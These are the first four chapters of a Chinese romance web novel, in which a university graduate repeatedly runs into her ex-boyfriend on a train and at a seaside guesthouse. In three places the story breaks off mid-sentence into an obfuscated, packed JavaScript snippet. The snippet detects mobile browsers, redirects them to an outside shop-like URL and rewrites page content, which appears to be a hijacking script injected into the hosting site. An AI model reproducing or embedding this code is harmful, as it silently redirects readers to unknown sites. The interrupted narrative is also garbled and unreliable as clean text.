《特殊朋友[破镜重圆]》 1. 第 1 章 时值初夏，火车里冷气正足。 火车上的座位无法调节，林余戴着眼罩，披着外套，蜷缩在靠窗座位上，睡得很不好。 有噪音不断从右边传来，越来越大。 “老王，这次回D市我就不走了，你可要好好出来和我喝几杯啊。” “说的什么浑话，我还会骗你不成？” 很烦，一个成年人的正常睡眠时间是八小时，林余从上火车到现在，只睡了五个小时，更何况她现在放假，睡眠需求陡增。 她扯下眼罩，映入眼帘的是坐在中间，扎着低马尾的年轻女生，察觉到她的动静，下意识扭头看她，两人对视。 林余看着她惊恐的眼神，嘴角还没来得及弯成微笑的弧度，低马尾女生就紧急避开，头都要伸进手机里了。 而最边上，是噪音制造机，一位翘着二郎腿，光头，油光满面的中年男人。。 周围的乘客不时投来嫌弃的目光，可光头恍若未觉，自顾自的和电话另一头的人吹牛聊天。 林余伸长胳膊，越过低马尾女生，轻轻碰了碰光头，她声音和年纪相符，清脆柔和，因为刚刚睡醒显得很软，却足以让人听清。 “你好，能小声点吗？” 光头转身，看了一眼坐在中间的女生，翻了个白眼，坐姿更加豪放，抬起的脚愈发凸出。 “老王，别跟兄弟说这些有的没的，回来哥请你吃饭，一定要来啊，要说还得坐商务座，要不是没票了，谁愿意和别人挤一起啊，叽叽歪歪的，真烦。” 林余皱眉，最烦听不懂人话的人。 她再重复一遍：“小声点，听不懂吗？” 光头不耐烦，手机还贴在耳朵上，顺着那拍他的手看过去，终于看清了是谁在叫他小声点，原本要说的话立刻被咽进喉咙里。 这女孩身形瘦小，却让人无法轻视。 林余眼皮上擦着黑色的眼影，眼皮一片细闪，眼尾的眼线凌厉几乎要挑到太阳穴，眸色漆黑，一张脸格外苍白，鼻子挺翘，面颊上点着雀斑，用着黑棕的腮红，左边耳朵上坠着黑色玫瑰耳钉，嘴上不知为何，黢黑一片。 漂亮，且有攻击性。 还有那仍然放在他肩膀上的手。 手臂纤细，依稀能辨认出底色的白皙，可一只青龙狰狞，没有眼睛，张着大嘴，从手腕处蜿蜒了一整个手臂，另一只没有伸出的手也不逞多让，长着骷髅头和一些看不懂的字符，中年大叔倒吸一口凉气，又呼出来，嘴巴的味道在狭小的座椅之中蔓延。 电话那头传出声音：“张哥？张哥？怎么突然不说话了......” 正午的阳光最热烈，她却偏偏坐在唯一的一片阴影里，眼瞳漆黑，阴阴沉沉。 光头没回，他语气生硬道：“妹子，我还有五分钟就讲完了。” 电话那头是外放，声音满是不可置信：“张哥，五分钟怎么够？兄弟我还要给你接风洗尘呢，怕她干嘛......” 光头悄悄把音量调至最低，看向林余。 林余就这么静静看着光头和电话那头的表演，活动了下自己那只画着青龙的手臂，重复自己的需求。 “我说，让你小声点，吵到我了，听不懂吗？” 对话间，周边讲话的声音都停了，众人纷纷将目光聚集在两人之间。 林余像是没感觉到似的，还在揉着手腕，等待光头的回答。 光头停顿半晌，脸色由白转红，脖子充气似的鼓胀，青筋暴起，人突地站了起来，随身带着的包被他狠狠摔在了地上。 向来都是光头打扰别人的份，他都已经让步了，还想怎么样？ 林余见状，终于舍得露出今天第一个笑容，挑衅一笑，又激光头，问他：“怎么，要找茬？D市是我的地盘，到时候约一下？” 光头名为理智的弦终于崩塌了，他握紧拳头，就要不管不顾。 中间的低马尾少女尖叫一声，场面一时兵荒马乱。 林余提前在乘车软件上叫了乘警，光头一身肥肉，她有信心能躲开，已经灵活地躲至座椅底下，一手抓着椅子固定身位，一边抬头还想再激光头几句，却忽然愣住。 光头的拳头也没能挥下来。 一只修长有力的手阻止了他的动作。 “做什么？”声音带有微微的沙哑，因为刻意压低显得沉而冷。 林余怔怔地看着声音的主人，维持着这别扭的姿势，转动的思绪停摆。 窗外阳光灿烂，铁轨边上绿意绵延不断，远方的山丘不断后退。 一夜火车摇晃下，迟来的头晕昏沉此刻排山倒海般袭来，林余胸口发闷，抬头时眼睛触碰到刺眼的阳光，睫毛似乎掉进了眼睛里，视线有些模糊，但又还可以忍受，将将能看清眼前人。 来人身穿简单的白色半袖，露出的手臂肌肉因用力而紧绷，勾勒出漂亮的线条，往上，是一张极潇洒的脸，小麦色偏白的皮肤，金丝眼镜挂在微勾上翘的桃花眼前，眼下有一枚小痣，平添三分风流，不笑时，也分外唬人。 于燃，她大学时期的前男友，大她五岁，分手时，余燃硕士毕业，离开京市，原以为从此天南海北。 却在一列小小的火车上，以这种方式再度相遇。 黑色的外套在动作间掉在地上，林余缓缓拿起，披在自己手臂上，重新坐回座位。 林余冷静不少，光头还在叫着，可她已经听不进去，甚至开始后悔。 如果不阻止光头，就不会见到于燃。 要开口打招呼吗？还是当做陌生人？ 不对，她这个样子，她妈来了应该也认不出来。 空气一时有些凝滞。 这时，乘警赶来了。 “住手！”乘警喝住于燃和中年大叔。 林余总算想到能说些什么了，她作证：“警察同志，是这个大叔先动手的。” 光头彻底慌了，看着坐着的林余，又看看抓着他的于燃，解释：“冤枉啊！他们两个是一对，这女的当然帮着男的说话，欺负我这个老实人，我冤枉啊！” “这个男的，长得人模人狗的，我的手腕都要被他捏断了！还有她，雕龙画虎，不三不......啊！” 他手腕突然传来剧痛，截住了要说的话。 而罪魁祸首却恍然不觉自己的行为是多么暴力，于燃桃花眼弯起，变得亲切起来，诚恳地看向乘警：“警察同志，我不认识他们，我就是个见义勇为的，你们可以查监控。” 乘警立即查看监控，了解始末，让光头换了座位，带去进行教育了。 事情算是解决。 周边安静无比，林余攥着眼罩，紧紧盯着眼前的小桌板，余光却忍不住去看于燃。 于燃握着手机，在这边站了一会，好像在回信息，这时有电话打来，他摘下眼镜随意拿在手里，往车厢交接处走。 林余的目光不由自主地被他手中的眼镜吸引，从她认识于燃起，他戴的就是这款眼镜。 于燃度数不高，除了工作学习，一般不戴眼镜，可林余却很喜欢他戴眼镜的样子，并多次强调，一定要是金色的。 于燃当时笑得很无奈，说她要是只喜欢这款眼镜的话，可以把链接推给她。 这么说时，于燃往往不会听她的回答，而是一边戴上眼镜，一边按住她的手，把她亲得喘不过气来，时至今日，冰凉坚硬的眼镜贴近鼻梁的触感也依旧明晰。 后来有一段时间，于燃总戴着眼镜。身边人奇怪，问于燃度数是不是加深了，于燃笑笑，看向林余，慢慢地说：“嗯，最近时间总花在学习上。” 明明说得正经无比，但大约是做了亏心事，林余总担心旁人会听出什么来，偷偷捏于燃的腰肉。 但两年后的今日，两人即便是面对警察，也不会有一句对话，生疏至此，眼镜也不再是两人心照不宣的小秘密。 旁边的低马尾女生打断林余的思绪。 她把一堆零食放到林余桌上，眼神带着畏惧和崇拜：“你好勇敢、好厉害啊！明明我也坐在他旁边，却什么也不敢干。” 林余摇头，声音低下来，带着疲惫：“法治社会，遇到这种人，千万不要和对方起冲突，不要学我。” 低马尾女生狠狠点头，示意自己知道了。 这时，她远在网络另一端的朋友终于发来消息。 朋友：死光头还在吵吗？大姐大没怎么样你吧，要不要联系乘务员？ 女生看了看旁边已经戴上眼罩的林余，眼睛发亮，手指在屏幕上猛敲回朋友：从今天起，我的目标是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093802|195564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成大姐大这样的女人！ 朋友：？ * 等林余再清醒过来时，周围的座位早已经空了，她有些恍惚，脖颈酸痛，脑袋发晕，外边的阳光刺得人眼花，刚刚的一切好像一个梦。 心脏莫名沉重，刚刚抵制光头的力气早已消失不见，或者说，这才是她的常态，一个耗电超快的脆皮大学生。 旁边有人正推她，林余看去，是顾启月与程嘉运。 三人结伴来海城旅游，但没买到连票，不在同一个车厢。 林余一把抱住顾启月的腰身，磨磨蹭蹭地站起来，没骨头似的靠在她怀里。 顾启月捏她的脸：“鱼鱼，醒醒，脸上的妆都要弄脏我的衣服了，怎么不卸？一晚上的不难受吗？” 林余勉强直起身子，指挥程嘉运帮她把相机包从架子上拿下来，再回顾启月：“麻烦。” 程嘉运身上胸前都背着大包，手上还拿着林余的摄影包，小心翼翼不敢磕碰，听见林余这样说，立马冷嗤一声：“千里迢迢从京市来到海城住三个月，我看你可不觉得麻烦。” 林余假装没听到，一行人已经来到出口处，天气比想象中还要热，之前一直不觉得脸上的妆太厚，这下是恨不得马上卸除，汗水已经薄薄一层出现在额头上。 幸好民宿安排的火车站接送人员十分容易就能找到。 无他，在一众蓝白配色的出租车里，一辆黑色越野格外瞩目。 越野车高大，一看就造价不菲，明显是经历了一番风霜，沙石、灰尘痕迹黏在上面，轮胎上的纹路被依附在其上的沙石衬托得格外清晰，可这样的车合该配上路途艰难的痕迹。 拍照一定很出片，这是林余的第一想法，她视线往上，却又立刻打消了这个想法。 在越野车的顶端，挂着一个不小的牌子。 招摇地写着三人的名字：欢迎林余、顾启月、程嘉运来到海城。 太丢脸了。 三人坐进车内。 司机师傅是一个年轻男人，他戴着一副墨镜，自来熟的和他们打招呼：“嗨，我是民宿的员工。老板去外地出差，就派我来接你们了。” 路潇玉拿起手机，扭头和他们交谈：“我叫路潇玉，加个微信...吧。” 他话音停顿一瞬，无他，林余这幅打扮确实很少见。 林余昏昏沉沉，心烦意乱，没说话，掏出手机扫了。 路潇玉再往后一看，好家伙，这一车人的穿搭极其一致。 后排女生穿着黑色破洞超短裤，翘着二郎腿，指甲上涂着亮色的黑色指甲油，头发披散下来，其中几缕挑染成绿色，明明是笑着，却也看起来不好相处。 男生神色更是比副驾驶那位还臭，黑色耳钉别在左耳上，神色桀骜，鸭舌帽反戴。 很快，三人都加上了他的微信，一路上，他难得止住话茬，用着十二分精力开车。 火车站在郊区，离他们订的民宿有一定距离，不是一时半会能到的，路潇玉在一个红灯处停车，看了眼已经睡过去的林余。 女孩身形不大，但放在外套上的手臂青龙却栩栩如生，占满了一整条手臂。 他悄悄发了条消息：哥！老板！要不然这单我们不做了吧？ 对面过了好一会才给他发来消息，路潇玉定睛一看，是一个黄豆笑脸。 他赶紧解释：我没开玩笑，我给你民宿拉了三个黑涩会！身上全是纹身！脸很臭！ 对面沉默了一会，罕见给他发来了一长串话：你这是歧视，我们应该尊重每一个人的喜好。现在的社会开放包容，不能以纹身来评判一个人的品行性格，这并不代表什么，要了解一个人，就要了解她的内在...... 路潇玉还没看完，对面再他发他一条语音，他下意识点开。 对面的环境嘈杂，一道略低沉的男声探出，语速很快：“好好招待我们的客人，我等会就回到。” 半睡半醒的林余猛地惊醒坐起，路潇玉被回复触动，正反思着自己，见状一惊，心中十分愧疚，关心地问林余：“是不是车坐着不太舒服？” 林余摇头，揉了揉凌乱的头发，喃喃：“做了个噩梦。” 幻听于燃的声音了。 话说，梦会有声音吗？ 2. 第 2 章 民宿位置很好，离海只有两条马路，一共四层，除去一层，都能看到海。 一行人跟着路潇玉往前走，一楼大厅右侧还有供人休息的小沙发，装着两个巨大的书架，林余在等前台登记，随意一瞥，除了名著外，居然看到一本《算法：C语言实现》，还是崭新的，她仿佛回到大学被计算机支配的那段日子，赶紧别开目光。 真的有人来旅游会看这些吗？ 林余表示怀疑，书架中间是一面留言墙，花花绿绿贴满了便签，距离太远有些看不清，但不用想，也能知道是什么内容。 林余移开目光，无非是自己的一些愿望啊，或者写上喜欢的人或者明星的名字什么的。 路潇玉带他们在前台领了房卡，抬抬墨镜，露出一口大白牙，送上祝福：“希望你们能在海城收获一段美好的时光。” 三人走上楼梯，房间在三楼，两室一厅，订了五天。 被室内的空调一吹，林余整个人都放松了下来，又歪歪斜斜靠在顾启月身上了，视线不经意一转，与程嘉运对视上，他眼里也带着疲惫。 再一转头，是精力充沛的顾启月，明明三人都坐了一夜的火车，可顾启月状态奇佳，又活力满满地安排起了行程。 “雪月滩和窟岩洞必须得去。民宿对面就是海，旁边还有夜市，每天晚上八点就会很热闹，一直持续到凌晨，还有不少酒吧。海城没有地铁，但可以租电动车，我们租两辆，鱼鱼不会骑就坐在我后边，今晚先去夜市，再去看海，直接在外面呆到天亮看日出然后去吃早茶......” “鱼鱼的相机拿了不能浪费，争取一天发三条朋友圈，只是有点重了不好拿，对了程嘉运你......” 林余的身体微微挺直，不再没骨头地靠在顾启月身上，与程嘉运再度对视。 程嘉运把帽子脱下来，揣进裤袋里，清清嗓子。 “启月，海城不大，你觉不觉得......” “嗯？”顾启月目光炯炯地盯着他，眼里装满期待。 程嘉运偏头，眨了眨眼。 换林余上，她道：“月月，你觉不觉得我们......” “咋了？”顾启月亲亲热热地挽紧林余的胳膊。 “我们的行程安排的紧锣密鼓、有条不紊，真棒。”她竖起冰凉的大拇指。 海城是林余选的，地处华国南部，冬暖夏热，远离京市的喧嚣，不受快节奏的侵扰，山清海蓝，是养老的不二之选。 民宿房间宽敞整洁，与照片上差不多，厨房里的用具一应俱全。 林余卸去了脸上复杂沉重的妆容，右手的纹身被洗去，露出白皙微红的手臂，左手的青龙是用特殊颜料画上去的，可以一个月不消失，仍旧张牙舞爪着。 镜子里，少女刘海被撩起，露出光洁的额头和一双下垂的狗狗眼，颊侧带着婴儿肥，眼角和唇瓣因为过于用力的揉搓显出红色来，是很可爱的长相，说是高中生也不为过，与火车上的大姐大形象迥异。 打开门，顾启月还在收拾衣服。 林余轻飘飘路过她，倒进柔软的大床，怀里抱着枕头，问她：“你的offer不是在京市吗？怎么把所有夏装都带过来了。” 顾启月道：“区区七套，倒是你，住三个月，带三套衣服，是准备一套穿一个月？” 林余：“我崇尚极简主义。” 顾启月招招手，叫林余过来。 林余警惕的后退，却仍然被她抱在胸前，肆意揉搓了一番。 “等我走了，就把这些衣服全都留给你，老娘要开启新生活，买新衣服。” 林余一脸感激的笑，一双狗狗眼弯着，很乖，语气非常惊喜：“月月，你真好。这家民宿装修不错，风景也好，就是有点贵，有了你的衣服，我就不用再买新衣服，省了好多钱！” 顾启月被她给的情绪价值取悦到，满意的拍拍她的头，把林余从床上拉起来，又把相机塞进她怀里：“玩去吧，我要整理行李了。” “阳台那可以看到民宿后院的小花园，可漂亮了，你肯定喜欢，去拍几张照熟熟手，再给我拍好看的照片。” 林余趿拉着拖鞋往阳台处走。 手中的相机沉甸甸的，是林余的宝贝，大学时实习和打比赛的钱，有一半都花在了它身上。 民宿很符合林余的审美，就是价格有点贵，希望租三个月能便宜点。 阳台很宽敞，最左边放着滚筒洗衣机，最右边是贝壳和藤蔓样式的秋千，配套柔软的小猫抓鱼样式的枕头，看起来很好坐。 往下看，是一片欧式小花园。 夏日午后，天气炎热，此时小花园空无一人。 但花可不管有人没人，只要得到充分精心的照料，便能长得很好，在烈日下灼灼开放，小花园里没有太高大的树木，只有深绿色的草坪和不到人腰部的玫瑰丛、淡紫色的三角梅，还有叫不出名字细碎小花点缀在草丛上，长势喜人。 一条铺着鹅卵石的小路自其中蜿蜒而出，最中间还有一个小喷泉，放着不知名的女神雕像，水就从女神手中的瓶口流泄而出，在阳光下折射出彩虹。 很精致。 林余估计着顾启月站在什么位置，扮什么造型能出片。 从民宿里面走出来，正正好站在喷泉旁边就好了。 最好是意气风发，穿着白衬衫、短裙，转头时风吹起头发，这时按下快门。 顾启月精力旺盛，不笑时不好惹，笑起来又极具感染力，要把优势放大。 可惜时间宝贵，几人没时间在民宿拍这拍那。 但来都来了，她举起相机，眯起眼睛，就要按下快门。 突然，一阵热风吹过，小花园里的花儿摇曳着，发出细微的沙沙声，林余按快门的手停顿一瞬，有人正从刚刚设想的地方出来。 只不过来者没有白衬衫也没有高马尾，甚至一点也不青春。 是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093803|195564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个身材高大的男人，穿着一件无袖汗衫，腋下管理得很好，下身是一件黑色短裤，到膝盖处，露出精壮的小麦色肌肉，肩宽腿长，一只手拿着笔记本电脑，一只手还在打字，步履匆匆，几步就走到了喷泉处。 好装。 林余按下快门，正在赶路的男人也似有所觉地回头。 长得不错，是喜欢的款。 太阳把人晒得晕晕乎乎，似乎要把脑袋中的记忆都消融，林余好一会才反应过来。 居然又是于燃！ 两人透过相机对视，倏地，于燃摘下眼镜，对着镜头勾起唇角，扬手。 她不自觉又按下一次快门。 两年的时光说长不长，说短不短，林余镜头里的男人没有多大变化，校园时期那半点青涩褪去，如今站在她面前的于燃，更显出成熟。 只是，林余来不及欣赏他的变化，只想骂人。 天底下怎么会有这么巧合的事情，两人在同个城市旅游，甚至住在同一个民宿！ 林余快速退回房间，拉上窗帘。 相机里的画面定格了于燃抬手的姿态，桃花眼看个镜头都深情，却因那点泪痣显出玩世不恭的渣男感。林余匆忙中与这照片对上，仿佛于燃在和她打招呼，她深吸一口气，狠狠关灭相机。 虽说在一家民宿，但旅游嘛，总是要出去的，再见面的几率不大。 要是再见到，林余下定决心，就像于燃一样若无其事的打招呼。 两年了，不会还有人当回事吧？ 于燃一眼就认出这就是路潇玉和他说了一路的大姐大，民宿只剩最后一间空房，恰好是这间，还未等他再干点什么，裤兜里的手里突然震动，于燃接起，是路潇玉。 路潇玉夸张地大喊：“于燃，我安全回来了，你不知道这一路我开得有多心惊胆战，这单得加钱！” 再抬头，于燃敛起笑容，遥遥看着已经关上的阳台门，对面的人动作迅速，就连窗帘都拉起来了。 路潇玉还在电话那头大喊。 “于燃？于燃？你在听吗？其实不用加多少，你就随便给点，意思意思兄弟就行了。” 于燃轻嗤：“人家打你了还是骂你了？偏见那么大。” “对了，”于燃往外走去，问他：“他们叫什么名字？” 路潇玉一愣，他一路上光顾着担惊受怕，看纹身了，此时艰难回忆着：“有三个人，好像叫什么程...程嘉运，顾启月，嗯...还有一个叫...叫...” “林余。”于燃替他回答，声音压得很低，怕被人听到似的。 不知为何，程潇玉总觉得他语调怪怪的，太温柔了。 电话那边的路潇玉夸他记性好，又警惕道：“你不是想扣我工资吧？我虽然不记得名字，但是服务很好的！我可是大学生，黑心老板不要啊！” 于燃笑骂一句：“研究生也是大学生？行，给你加钱，不要去客人面前抹黑我。” 3. 第 3 章 距离顾启月旅行计划表还有几个小时，林余把相机一放，今天被于燃吓了一跳又一跳，火车上就没休息好，现在疲惫如潮水一般汹涌而来。 她先睡为敬。 再次醒来时，天色已经大暗。 林余头有些晕，推开顾启月横在她胸前的手，摇醒她。 听着顾启月慌慌张张的声音，吐槽着调的闹钟没有响，怎么这就八点多了，林余把窗帘拉开，这时已经一点阳光也没了，有风拂过，带来小花园处玫瑰花幽暗的香以及找不到来处的蝉鸣。 哪怕是晚上，阳台与空调房的温度也截然不同，一出来湿热就止不住地附在人的皮肤上了。 就算是节奏再慢的城市，也看不到灿烂的星河，零散的几个星星离得很远，孤零零地坠在天上，月亮倒是很圆，林余坐在秋千上，只能看见花园的一半。 花园里多了几分热闹起来，有一些游客沿着鹅卵石小路散步，气氛静谧，偶尔有嬉笑声遥遥传来。 林余视线转到喷泉处，女神雕像亮起柔和的暖黄色小夜灯，柔和勾勒出典雅轮廓，水哗啦啦地流着。 几个小孩蹲在地上玩水。 林余靠进秋千，心中也平静下来。 “鱼鱼，走了！”顾启月叫她。 顾启月匆匆涂上口红，程嘉运戴上耳钉，海城旅游小队正式出发。 到底是年轻人，休息够了之后，三人一个玩得比一个疯。 几人先去海鲜饭店吃了一顿，挑选吃哪条鱼时，一条叫不出名字的海鱼突然跃起，撒了林余一身水，要不是林余穿得少，衣服就半天干不了，气得她把鱼捞起来吃了。 相机太重，三个人没有一个愿意背着它到处玩的，最终就演变成了林余拿着手机拍照，后期再修修图。 夜市上有许多小吃。 程嘉运一脸平淡地递给林余和程嘉运两瓶黑乎乎的东西，伸出了大拇指。 林余闻了闻，气味很醇厚，还是温热的，正好也渴了，仰头喝了一大口，她也给顾启月比了个大拇指。 顾启月喝下，差点没吐出来。 是凉茶，苦涩的味道萦绕舌尖，久久未散。 罪魁祸首程嘉运被指控，被迫买了三杯奶茶。 三个人就这么端着奶茶进了酒吧。 很可惜，三个清澈的大学生里面，两个都是很会喝酒的长相，偏偏只有长得最乖的林余能喝，顾启月甚至酒精过敏。 于是三个人点了一杯鸡尾酒。 但这并不影响顾启月的兴致。 林余闻着酒味，咽着口水，看着顾启月拿它摆各种姿势。 “鱼鱼，你站在那里拍，光线好一点，蹲下显得我腿长，要拍出老娘就是夜店女王的氛围感，懂吗？” 林余不听她的，纠正她的姿势，拍好后把手机递给顾启月，让她自己选，又拿过她凹姿势的酒，一口饮尽。 她喝酒上脸，脸颊很快漫上淡红，意识却很清醒，吐槽看着照片满意得不得了的顾启月，笑道：“模特还指导上摄影师了。” 又玩闹一阵，时间已经很晚了，三人来到湾底海滩。 沙子银白，海浪有规律的滚动，水声也显得缓慢，在微微泛白的夜色里，海洋也显得静谧，这里是海城必去日出打卡点。 已经有不少人来到沙滩上等待，人一聚集，哪怕是温度较低的凌晨，也热得不得了。 而天气一热，林余就想睡觉。 迟来的酒劲混着睡意来势汹汹，林余坐在沙滩上，脑袋上下点着，困得受不了，眼睛都睁不开。 天边一点一点地变白，人群中的说话声渐渐变得很远，顾启月和程嘉运在聊天，还一边扯着她的胳膊，叫她别睡。 林余贴在顾启月的胳膊上，意识模糊间，裤袋里有东西掉出来，一模，居然是火车上用的眼罩，她悄悄戴上，嗯嗯地应着顾启月，就这么和着嘈杂的人声睡着了，最后也没见到日出。 但林余倒是不觉得遗憾，毕竟她会在这里呆上三个月。 日出嘛，林余曾经抱着相机追过无数次了，更何况，在民宿的阳台、客厅的窗边，哪里都能看见，不差这一次。 但顾启月知道她睡着了之后还是很气急败坏，扬言明天要再看一遍，林余求助地看向和她一样懒的程嘉运，却见他也默不作声的点点头。 林余抱住顾启月蹭了又蹭，知道事情没有转机了。 然天有不测风云。 几人回到民宿睡下后，再醒来，天上风雨交加，雷声阵阵，一看天气预报，居然是有台风要过境，这几天都会阴雨连绵。 林余捧着手机，生无可恋，虽然她不想早起再看一次日出，但她更不想台风过境，顾启月和程嘉运一连五天都只能呆在民宿里，哪也做不了。 三人摊在沙发上，俱失去了世俗的欲望。 令人难以启齿的是，林余躺着躺着，居然生出了睡意，感觉就这么睡五天也不错。 她强打起精神：“你们准备干什么？” 程嘉运坐在沙发垫上，看着手机，不时敲打几下，道：“导师布置了作业，写一点。” 顾启月：“那我也为下个星期开始的职场生活做点准备吧。” 说着，两人同时看向林余。 林余以手掩面，不愿面对。 顾启月和程嘉运的表情里分明写着：只有林余是一条无所事事的咸鱼。 但不一会，咸鱼林余调整好心态，无所畏惧，反而勾起唇，乖巧的脸上现出嚣张来。 “真羡慕你们都有事做，不像我，只能玩游戏了。” 程嘉运望着窗外的雨，依旧是那副谁欠了他二五八万的表情，衬得他本就锋利的五官更加不好惹，他道：“那你现在去准备考研。” 林余摆手：“一看到书就想睡觉。” 顾启月扯她脸颊：“我帮你内推。” 林余翻身：“没有这种世俗的欲望。” 三人在一起聊天，总会不自觉地绕到这类型话题上，让人难以招架，恍惚间让林余生出了一种过年被七大姑八大姨问候的感觉，她爸都没这么管过她。 最终三人还是找到了一个消遣时间的好去处。 京市一整个夏天都很难遇到这么大的雨，明明来之前的天气预报显示雨水包裹了海城六月的前半段和后半段，只这一周都是艳阳天，偏偏台风又来了。 狂风席卷雨滴打进屋檐里，雨又大又密，到处都是灰蒙蒙一片，即便靠着走廊的最里边走，一半的衣服也都被打湿，气温骤降，半点没有昨日的暑气，林余打了个寒颤，加快脚步。 民宿老板颇具商业头脑，在这里开了一家清吧，在民宿住的客人凭房卡可打八折。 清吧不算大，桌子是木质的，酒味混合着熏香，音响放着慵懒暧昧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093804|195564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的纯音乐，格调清雅，暴雨下亮着暖黄色的光晕。 下雨天，大家都没处去，纷纷聚集在了这里，林余他们来的时候，只剩吧台有位置了。 三人上前，林余坐在二人中间，程嘉运坐在角落，顾启月坐在最外边。 林余靠着椅子，脚够不到地面，随意晃荡着，一边擦衣服，一边有一搭没一搭地与身边人聊着天，心情还不错，狗狗眼弯起来，脸上现出清浅的笑容。 程嘉运突然递出手机给她看，林余凑过去。 两人是发小，她妈妈偶尔也会和程嘉运聊天，她垂眸，认真看着。 余阿姨：小嘉，我听鱼鱼说你们去海城玩了，你们好好玩，以后能玩的时间就越来越少了。鱼鱼心情好点了吗？如果方便，你帮我劝劝她，她都毕业了都还找不到工作，也不肯考公考研。阿姨老了，不懂你们年轻人的想法，如果是你说，鱼鱼一定能听得进去的。 余阿姨又给程嘉运发了个红包，祝他们玩得开心。 程嘉运发了一张三个人的合照给林余妈妈，照片中，林余站在三人中间，笑得很开心。 程嘉运：谢谢阿姨，我会尽力劝她的，您也别逼她太紧。 林余趴在木质的桌子上，桌子被擦得噌亮，还有一股淡淡的香味，她就这么和程嘉运对视着，脸蛋被坚硬的桌面挤压着，下垂的狗狗眼显得有些可怜，声音也有些变形，很软。 她道：“我妈都没发钱给我。” 程嘉运撑着脑袋与她对视，黑色的耳钉在光线的照射下散发光芒，也与她对视，道：“谁叫你老是不听阿姨的话。” 程嘉运再看她，又有些嫌弃道：“桌子那么脏，你也趴。” 林余轻哼一声，不惯他的臭脾气，转过头去，就见顾启月双眼发光，握紧她的手，语气兴奋：“鱼鱼，好极品的调酒师！”。 顾启月看见个帅哥就嗷嗷叫，林余已经熟练，顺着她的视线看去，口中捧场的认同夸赞就要脱口而出，待看到人时，话语却堵在喉咙里，说不出口了。 怎么又是于燃？ 他今天没戴眼镜，穿一件黑色短袖，雨水把衣服打得微湿，肌肉裹在黑色中若隐若现，摇动调酒杯时，手上的青筋随着他的动作鼓胀着。 他抿着唇，面无表情，手上的力气却很大，切着冰块，桃花眼盯着桌面，没有情绪时，那点侵略性与凶意显露无疑。 很快，一杯粉色的鸡尾酒自他手中形成，他放上装饰的薄荷叶，推到林余面前，眼睛直视她，扯起唇笑了。 “您的桃汁海湾，度数有点高，可以慢点喝。” 林余看他一眼，快速别过眼去，就着吸管狠狠吸了一大口，酒味混合着蜜桃的香甜很快蔓延进口腔，她转了转酒杯，又轻轻敲击了两下，玻璃杯发出清脆响声，在清吧里几不可闻。 她心中有烦躁升起。 好像这次相遇，只有她自顾自的心慌意乱，于燃也不知是真没认出她，还是一点都不在意了，如此云淡风轻。 明明当年，爱得更深的人是他吧？分手时挽留的人也是他吧？ 莫名其妙。 来打个工还要管顾客。 不知道顾客就是上帝吗？ 业务还这么不熟练，菜单里，这杯酒不到二十度，哪里高了？ 只是，看着于燃要走，林余话语先于理智，喊出声：“等一下，前夫哥！” 4. 第 4 章 话音刚落，林余就后悔了。 绯色瞬间蔓延，从脖颈到面颊。 尴尬的。 于燃的大名是什么难以启齿的东西吗？再不济叫一声燃哥也行，为什么“前夫哥”这三个字就这么顺口地说了出来。 但话语已经脱口而出，林余看着于燃停下脚步，缓缓转身。 桃花眼从左到右看了他们三人一眼，最终定在林余脸上。 于燃似笑非笑：“前夫哥？” 林余暗自吸一口气，这回没有躲避于燃的视线，对他招手，让他过来，又把程嘉运扯起来。 林余身量娇小，比程嘉运低了一个头。 林余长得可爱，程嘉运又很酷，这种搭配无疑看起来赏心悦目，般配极了。 于燃走过来，笑容渐渐消失。 林余弯起眼睛，笑起来，抬头看向程嘉运，清吧暧昧的灯光下，仿佛有星光一闪而过：“阿运，这是我前男友，就是他在火车上帮了我。” 程嘉运大概明白了怎么一回事，他绷着一张酷哥脸，道谢。 “谢谢，鱼鱼她看着靠谱，其实有点冒失，和我们不在一个车厢，受了什么委屈也不会说。” 林余又看向于燃，说：“好久不见，你来海城发展了啊。” 灯光昏暗，于燃站在半明半暗处，头低下，辨不清神色：“嗯，海城天蓝海清，适合修身养性。鱼鱼很勇敢，一点也不冒失，就是有时候也要多考虑考虑自己。” “哦，抱歉，我们分手了，不应该叫得那么亲密。” 他似乎是轻笑了一声，看向林余，问：“你不会怪我吧？” 于燃语气熟稔，话语让人挑不出错处来，却句句踩在那条看不见的边界线上，责备他做人轻佻暧昧也不是，说他有分寸也不对。 有暗流涌动，分割出独属于两人的气场，气氛越来越凝滞，可却没有人错开视线。 林余听得恍神，好似又回到了当年。 彼时林余大二，于燃研三。 连轴转的大创比赛间隙，好不容易挤出一点休息时间，紧绷的神经放松，感冒与发烧就一同袭来，让林余在宿舍昏睡，醒来时发现手机有很多个未接来电和消息。 